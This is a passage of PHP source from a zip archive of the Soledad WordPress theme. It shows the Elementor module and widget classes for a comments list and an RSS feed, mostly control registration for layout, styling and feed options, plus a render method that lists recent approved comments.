			'grid_readmore_button'       => $settings['grid_readmore_button'],
			'grid_readmore_align'        => $settings['grid_readmore_align'],
			'grid_excerpt_length'        => $settings['grid_excerpt_length'],
			'grid_title_tag'        	 => $settings['grid_title_tag'],
			'standard_title_tag'         => $settings['standard_title_tag'],
			'standard_excerpt_length'    => $settings['standard_excerpt_length'],
			'post_alignment'             => $settings['post_alignment'],
			'std_continue_align'         => $settings['std_continue_align'],
			'std_excerpt_align'          => $settings['std_excerpt_align'],
			'share_alignment'            => $settings['share_alignment'],
			'grid_excerpt_align'         => $settings['grid_excerpt_align'],
			'standard_title_length'      => $settings['standard_title_length'],
			'grid_title_length'          => $settings['grid_title_length'],
			'penci_featimg_size'         => isset( $settings['penci_featimg_size'] ) ? $settings['penci_featimg_size'] : '',
			'penci_featimg_ratio'        => isset( $settings['penci_featimg_ratio'] ) ? $settings['penci_featimg_ratio'] : '',
			'thumb_size'                 => $settings['thumb_size'],
			'thumb_bigsize'              => $settings['thumb_bigsize'],
			'order_columns'              => $order_columns,
			'order_columns_tablet'       => $order_columns_tablet,
			'order_columns_mobile'       => $order_columns_mobile,
			'infeed_num'                 => $settings['infeedads_num'],
			'infeed_code'                => $ads_code,
			'infeed_layout'              => $settings['infeedads_layout'],
			'archive_buider_check'       => $original_postype,
			'elementor_query'            => $query_args,
			'biggrid_ajaxfilter_cat'     => $settings['biggrid_ajaxfilter_cat'],
			'biggrid_ajaxfilter_tag'     => $settings['biggrid_ajaxfilter_tag'],
			'biggrid_ajaxfilter_author'  => $settings['biggrid_ajaxfilter_author'],
			'group_more_link_text'       => $settings['group_more_link_text'],
			'group_more_defaultab_text'  => $settings['group_more_defaultab_text'],
			'biggrid_ajax_loading_style' => $settings['biggrid_ajax_loading_style'],
			'query_id'                   => isset( $settings['query_id'] ) ? $settings['query_id'] : 'all',
			'validator'                  => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
			'keys'                       => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
			'acf'                        => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
			'label'                      => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
			'divider'                    => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
			'wrapper_css'                => isset( $settings['paywall_heading_text_style'] ) ? ' pencipw-hd-' . $settings['paywall_heading_text_style'] : '',

		) );
	}
}
PK     1w\zj  j  0  elementor/modules/penci-comments-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCommentsList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-comments-list';
	}

	public function get_widgets() {
		return array( 'PenciCommentsList' );
	}
}
PK     1w\L    E  elementor/modules/penci-comments-list/widgets/penci-comments-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCommentsList\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCommentsList extends Base_Widget {

	public function get_name() {
		return 'penci-comments-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Comments Listing', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-comments';
	}

	public function get_categories() {
		return array( 'penci-elements' );
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {

		// Section layout
		$this->start_controls_section(
			'section_settings',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'number',
			array(
				'label'   => __( 'Number of Comments to Show:', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 5,
			)
		);

		$this->add_control(
			'length_words',
			array(
				'label'   => __( 'Custom Comment Content Words Length:', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 12,
			)
		);

		$this->add_control(
			'avatar_size',
			array(
				'label'   => __( 'Avatar Size:', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 70,
			)
		);

		$this->add_control(
			'avatar_bradius',
			array(
				'label'      => __( 'Avatar Border Radius:', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => array( '%' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci_comments_widget.el .author-avatar img' => 'border-radius: {{SIZE}}%;',
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section(
			'section_style_image',
			array(
				'label' => __( 'Color & Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'comment_spacing',
			array(
				'label'          => __( 'Spacing Between Comments', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'size_units'     => array( 'px' ),
				'range'          => array(
					'px' => array( 'max' => 200 ),
				),
				'default'        => array(
					'size' => '15',
					'unit' => 'px',
				),
				'tablet_default' => array(
					'unit' => 'px',
				),
				'mobile_default' => array(
					'unit' => 'px',
				),
				'selectors'      => array(
					'{{WRAPPER}} .penci_comments_widget.el ul li:not(:last-child)' => 'margin-bottom: calc({{SIZE}}px / 2);padding-bottom: calc({{SIZE}}px / 2);',
				),
			)
		);

		$this->add_control(
			'author_bcolor',
			array(
				'label'     => __( 'Divider Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci_comments_widget.el ul li:not(:last-child)' => 'border-bottom:1px solid {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'author_name_typo',
				'label'    => __( 'Author Name Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci_comments_widget.el .comment-author',
			)
		);

		$this->add_control(
			'name_color',
			array(
				'label'     => __( 'Name Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-author' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'name_hcolor',
			array(
				'label'     => __( 'Name Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-author:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'comment_text_typo',
				'label'    => __( 'Comment Text Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci_comments_widget.el .comment-body p',
			)
		);

		$this->add_control(
			'comment_text_color',
			array(
				'label'     => __( 'Comment Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-body p' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'comment_text_lcolor',
			array(
				'label'     => __( 'Comment Text Links Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-body p a' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'comment_text_lhcolor',
			array(
				'label'     => __( 'Comment Text Links Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci_comments_widget.el .comment-body p a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings    = $this->get_settings();
		$comments    = get_comments( 'status=approve&number=' . $settings['number'] );
		$avatar_size = $settings['avatar_size'] ? $settings['avatar_size'] : 70;
		$length      = $settings['length_words'] ? $settings['length_words'] : 12;
		$this->markup_block_title( $settings, $this );
		if ( $comments ) {
			echo '<div class="penci_comments_widget el"><ul>';
			foreach ( $comments as $comment ) { ?>
				<li>
					<?php

					$no_thumb = 'no-small-thumbs';

					// Show the avatar if it is active only
					if ( get_option( 'show_avatars' ) ) {
						if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
							$usergravatar = get_avatar( $comment->comment_author_email );
						} else {
							$usergravatar = get_avatar( $comment->user_id );
						}
						$no_thumb = '';
						?>
						<div class="post-widget-thumbnail"
							style="flex: 0 0 <?php echo esc_attr( $avatar_size ); ?>px">
							<a class="author-avatar"
								href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
								<?php echo $usergravatar; ?>
							</a>
						</div>
						<?php
					}

					?>

					<div class="comment-body <?php echo esc_attr( $no_thumb ); ?>">
						<a class="comment-author"
							href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
							<?php echo strip_tags( $comment->comment_author ); ?>
						</a>
						<p>
						<?php
							$comment_content = wp_strip_all_tags( $comment->comment_content );
							echo wp_trim_words( $comment_content, $length );
						?>
							</p>
					</div>

				</li>

				<?php
			}
			echo '</ul></div>';
		} else {
			echo penci_get_setting( 'penci_trans_no_comments' );
		}
	}
}
PK     1w\[š[  [  +  elementor/modules/penci-rss-feed/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciRssFeed;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-rss-feed';
	}

	public function get_widgets() {
		return array( 'PenciRssFeed' );
	}
}
PK     1w\0z  z  ;  elementor/modules/penci-rss-feed/widgets/penci-rss-feed.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciRssFeed\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciRssFeed extends Base_Widget {

	public function get_name() {
		return 'penci-rss-feed';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' RSS Feed', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'rss', 'feed' );
	}

	protected function register_controls() {

		// Start feed source section.
		$this->start_controls_section(
			'feed-source',
			array(
				'label' => __( 'Feed Source', 'soledad' ),
			)
		);
		$this->add_control(
			'feeds',
			array(
				'label_block' => true,
				'label'       => __( 'RSS Feed source', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'description' => wp_sprintf( __( 'You can add multiple sources at once, by separating them with commas. <a href="%s" target="_blank">Click here</a> to check if the feed is valid. Invalid feeds may not import anything.', 'soledad' ), esc_url( 'https://validator.w3.org/feed/' ) ),
				// phpcs:ignore
			)
		);
		$this->add_control(
			'max',
			array(
				'label'   => __( 'Number of items to display', 'soledad' ),
				'type'    => Controls_Manager::NUMBER,
				'default' => 5,
				'min'     => 1,
			)
		);
		$this->add_control(
			'offset',
			array(
				'label'       => __( 'Items Offset', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'separator'   => 'before',
				'min'         => 0,
				'default'     => 0,
			)
		);
		$this->add_control(
			'sort',
			array(
				'label'   => __( 'Order items by', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''           => __( 'Default', 'soledad' ),
					'date_desc'  => __( 'Date Descending', 'soledad' ),
					'date_asc'   => __( 'Date Ascending', 'soledad' ),
					'title_desc' => __( 'Title Descending', 'soledad' ),
					'title_asc'  => __( 'Title Ascending', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'refresh',
			array(
				'label_block' => true,
				'label'       => __( 'For how long we will cache the feed results', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '12_hours',
				'options'     => array(
					'1_hours'  => wp_sprintf( __( '%d Hour', 'soledad' ), 1 ),
					'3_hours'  => wp_sprintf( __( '%d Hour', 'soledad' ), 3 ),
					'12_hours' => wp_sprintf( __( '%d Hour', 'soledad' ), 12 ),
					'1_days'   => wp_sprintf( __( '%d Day', 'soledad' ), 1 ),
					'3_days'   => wp_sprintf( __( '%d Days', 'soledad' ), 3 ),
					'15_days'  => wp_sprintf( __( '%d Days', 'soledad' ), 15 ),
				),
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'error_empty',
			array(
				'label_block' => true,
				'label'       => __( 'Message to show when feed is empty', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'separator'   => 'before',
			)
		);
		$this->end_controls_section(); // End feed source section.

		// Start filter items section.
		$this->start_controls_section(
			'filter-items',
			array(
				'label' => wp_sprintf( __( 'Filter items%s', 'soledad' ) ),

			)
		);
		$this->add_control(
			'keywords_inc_on',
			array(
				'label'   => __( 'Display items if', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'title',
				'options' => array(
					'title'       => __( 'Title', 'soledad' ),
					'description' => __( 'Description', 'soledad' ),
					'author'      => __( 'Author', 'soledad' ),
				),

			)
		);
		$this->add_control(
			'keywords_title',
			array(
				'label_block' => true,
				'label'       => __( 'Contains:', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'description' => __( 'You can add multiple keywords at once by separating them with comma (,) or use the plus sign (+) to bind multiple keywords.', 'soledad' ),
			)
		);
		$this->add_control(
			'keywords_exc_on',
			array(
				'label'     => __( 'Exclude items if', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'title',
				'options'   => array(
					'title'       => __( 'Title', 'soledad' ),
					'description' => __( 'Description', 'soledad' ),
					'author'      => __( 'Author', 'soledad' ),
				),
				'separator' => 'before',
			)
		);
		$this->add_control(
			'keywords_ban',
			array(
				'label_block' => true,
				'label'       => __( 'Contains:', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'description' => __( 'You can add multiple keywords at once by separating them with comma (,) or use the plus sign (+) to bind multiple keywords.', 'soledad' ),
			)
		);
		$this->add_control(
			'from_datetime',
			array(
				'label_block' => true,
				'label'       => __( 'Filter items by time range, from: ', 'soledad' ),
				'type'        => Controls_Manager::DATE_TIME,
				'separator'   => 'before',
			)
		);
		$this->add_control(
			'to_datetime',
			array(
				'label_block' => true,
				'label'       => __( 'To ', 'soledad' ),
				'type'        => Controls_Manager::DATE_TIME,
			)
		);
		$this->end_controls_section(); // End filter items section.

		// Start item thumbnail section.
		$this->start_controls_section(
			'size-options',
			array(
				'label' => wp_sprintf( __( 'Item Thumbnail Options', 'soledad' ) ),
			)
		);
		$this->add_control(
			'thumb',
			array(
				'label_block' => true,
				'label'       => __( 'Display first image, when available', 'soledad' ),
				'type'        => Controls_Manager::SELECT,
				'default'     => '',
				'options'     => array(
					''    => __( 'Yes (without a fallback image)', 'soledad' ),
					'yes' => __( 'Yes (with a fallback image)', 'soledad' ),
					'no'  => __( 'No', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'item-fallback-thumb',
			array(
				'label_block' => true,
				'label'       => __( 'Choose the Fallback Image', 'soledad' ),
				'type'        => Controls_Manager::MEDIA,
				'default'     => array(
					'url' => \Elementor\Utils::get_placeholder_image_src(),
				),
				'condition' => ['thumb'=>'yes']
			)
		);

		$this->add_control( 'imgpos', array(
			'label'   => __( 'Image Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'left'  => 'Left',
				'right' => 'Right',
				'top'   => 'Top',
			),
			'default' => 'left',
			'condition' => ['thumb!'=>'no']
		) );

		$this->add_responsive_control( 'imgwidth', [
			'label'      => __( 'Image Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                                             => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content'                       => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				'{{WRAPPER}} .pcsl-imgpos-left.pcsl-hdate .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right.pcsl-hdate .pcsl-content' => 'width: calc( 100% - var(--pcsl-dwidth) - {{SIZE}}{{UNIT}} );',
			],
			'condition' => ['thumb!'=>'no']
		] );

		$this->add_control( 'image_align', array(
			'label'                => __( 'Image Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'marin-right: auto;',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto;',
			),
			'conditions'           => [
				'relation' => 'and',
				'terms'    => [
					[
						'name'     => 'imgpos',
						'operator' => '==',
						'value'    => 'top'
					],
					[
						'name'     => 'imgwidth[size]',
						'operator' => '!=',
						'value'    => ''
					],
					[
						'name'     => 'thumb',
						'operator' => '!=',
						'value'    => 'no'
					]
				]
			]
		) );

		$this->add_responsive_control( 'img_ratio', array(
			'label'     => __( 'Image Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'thumb!' => 'no' ),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition' => array( 'thumb!' => 'no' ),
		) );

		$this->add_control( 'imgtop_mobile', array(
			'label'        => __( 'Move Image Above The Feed Meta on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
		) );
		$this->end_controls_section(); // End item thumbnail section.

		// Start layout section.
		$this->start_controls_section(
			'layout',
			array(
				'label' => wp_sprintf( __( 'Feed Layout%s', 'soledad' ) ),

			)
		);
		$this->add_control( 'type', array(
			'label'   => __( 'Type:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'grid'  => 'Grid',
				'crs'   => 'Carousel',
				'nlist' => 'Creative List',
			),
			'default' => 'grid',
		) );

		$this->add_control( 'column', array(
			'label'     => __( 'Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'default'   => '3',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'tab_column', array(
			'label'     => __( 'Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'mb_column', array(
			'label'     => __( 'Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'hgap', array(
			'label'     => __( 'Horizontal Space Between Feeds', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
			),
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'vgap', array(
			'label'     => __( 'Vertical Space Between Feeds', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
			),
			'condition' => array( 'type' => array( 'grid', 'nlist' ) ),
		) );

		$this->add_responsive_control( 'imggap', array(
			'label'     => __( 'Space Between Image & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
			)
		) );
		$this->add_control( 'excerpt_pos', array(
			'label'     => __( 'Excerpt & Read More Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'below' => 'Below of Image',
				'side'  => 'Side of Image',
			),
			'separator' => 'before',
			'default'   => 'below',
		) );
		$this->add_control(
			'target',
			array(
				'label'   => __( 'Links behavior (opened in the same window or a new tab)', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''          => __( 'Auto', 'soledad' ),
					'_blank'    => __( '_blank', 'soledad' ),
					'_self'     => __( '_self', 'soledad' ),
					'_top'      => __( '_top', 'soledad' ),
					'framename' => __( 'framename', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'follow',
			array(
				'label'        => __( 'Add ”nofollow” tag to links', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);
		$this->add_control(
			'item-display-title',
			array(
				'label'        => __( 'Display item Title', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
				'separator'    => 'before',
			)
		);
		$this->add_control(
			'title',
			array(
				'label' => __( 'Max Title length (in characters)', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
				'min'   => 1,
			)
		);
		$this->add_control(
			'summary',
			array(
				'label'        => __( 'Display item Description', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'yes',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
				'separator'    => 'before',
			)
		);
		$this->add_control(
			'summarylength',
			array(
				'label' => __( 'Max Description length (in characters)', 'soledad' ),
				'type'  => Controls_Manager::NUMBER,
				'min'   => 1,
			)
		);
		$this->end_controls_section(); // End layout section.

		// Start custom options section.
		$this->start_controls_section(
			'custom-options',
			array(
				'label' => __( 'Feed Items Custom Options', 'soledad' ),
			)
		);
		$this->add_control(
			'cus-hide-meta',
			array(
				'label'        => __( 'Hide items Meta', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
			)
		);
		$this->add_control(
			'meta',
			array(
				'label'       => __( 'Display additional meta fields (author, date, time or categories)', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::SELECT2,
				'multiple'    => true,
				'options'     => array(
					'author'     => esc_html__( 'Author', 'soledad' ),
					'date'       => esc_html__( 'Date', 'soledad' ),
					'time'       => esc_html__( 'Time', 'soledad' ),
					'categories' => esc_html__( 'Categories', 'soledad' ),
				),
			)
		);
		$this->add_control(
			'cus-multiple-meta',
			array(
				'label'       => __( 'When using multiple sources, should we display additional meta fields?', 'soledad' ),
				'placeholder' => __( '(eg: source)', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
			)
		);
		$this->add_control(
			'source',
			array(
				'label'        => __( 'Show item source', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => 'no',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => 'yes',
				'separator'    => 'before',
				'description'  => __( 'When using multiple sources this will append the item source to the author tag (required).', 'soledad' ),
			)
		);
		$this->end_controls_section(); // End custom options section.

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Feed Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_control( 'item_bg', array(
			'label'     => __( 'Feed Items Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'item_padding', array(
			'label'      => __( 'Feed Items Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'item_borders', array(
			'label'     => __( 'Add Borders for Feed Items', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
		) );

		$this->add_control( 'remove_border_last', array(
			'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
			),
			'condition' => array( 'column' => '1', 'item_borders!' => '' ),
		) );

		$this->add_responsive_control( 'item_bordersw', array(
			'label'      => __( 'Feed Items Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'side_padding', array(
